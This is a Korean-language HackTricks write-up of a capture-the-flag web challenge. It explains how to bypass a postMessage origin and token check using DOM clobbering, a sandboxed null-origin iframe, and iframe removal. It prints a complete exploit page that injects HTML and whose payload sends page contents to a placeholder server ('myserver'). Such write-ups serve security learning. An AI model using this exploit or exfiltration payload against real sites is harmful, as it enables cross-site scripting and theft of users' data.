Bypassing SOP with Iframes - 2

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

SOP-2에서의 Iframes

도전 과제해결책에서 @Strellic_은 이전 섹션과 유사한 방법을 제안합니다. 확인해봅시다.

이 도전 과제에서 공격자는 다음을 우회해야 합니다:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {

만약 그가 그렇게 한다면, 그는 **innerHTML**을 사용하여 페이지에 작성될 HTML 콘텐츠와 함께 **postmessage**를 보낼 수 있습니다. 이때 샌드박스 정책을 우회하는 방법은 **window.calc.contentWindow**를 **undefined**로 만들고 **e.source**를 **null**로 만드는 것입니다:

  • **window.calc.contentWindow**는 사실상 **document.getElementById("calc")**입니다. **<img name=getElementById />**로 **document.getElementById**를 덮어쓸 수 있습니다. (Sanitizer API -여기-에서 DOM clobbering 공격에 대한 보호를 위해 기본 상태로 구성되어 있지 않습니다).

  • 따라서 **document.getElementById("calc")**를 **<img name=getElementById /><div id=calc></div>**로 덮어쓸 수 있습니다. 그러면 **window.calc**는 **undefined**가 됩니다.

  • 이제 **e.source**가 undefined 또는 **null**이 되어야 합니다 (== 대신 ===가 사용되기 때문에 **null == undefined**는 **True**입니다). 이를 얻는 것은 "쉽습니다". iframe을 생성하고 그것에서 postMessage를 보내고 즉시 iframe제거하면 **e.origin**은 **null**이 됩니다. 다음 코드를 확인하세요.

let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null

두 번째 확인을 우회하기 위해 **token**의 값으로 null을 보내고 **window.token**의 값을 **undefined**로 만드는 방법은 다음과 같습니다:

  • null 값을 가진 token을 postMessage로 보내는 것은 간단합니다.

  • **window.token**은 **document.cookie**를 사용하는 getCookie 함수를 호출합니다. null 출처 페이지에서 **document.cookie**에 접근하는 경우 오류가 발생합니다. 이로 인해 **window.token**의 값은 **undefined**가 됩니다.

@terjanq의 최종 솔루션은 다음과 같습니다:

<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');

function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr);

function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
</html>
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

Last updated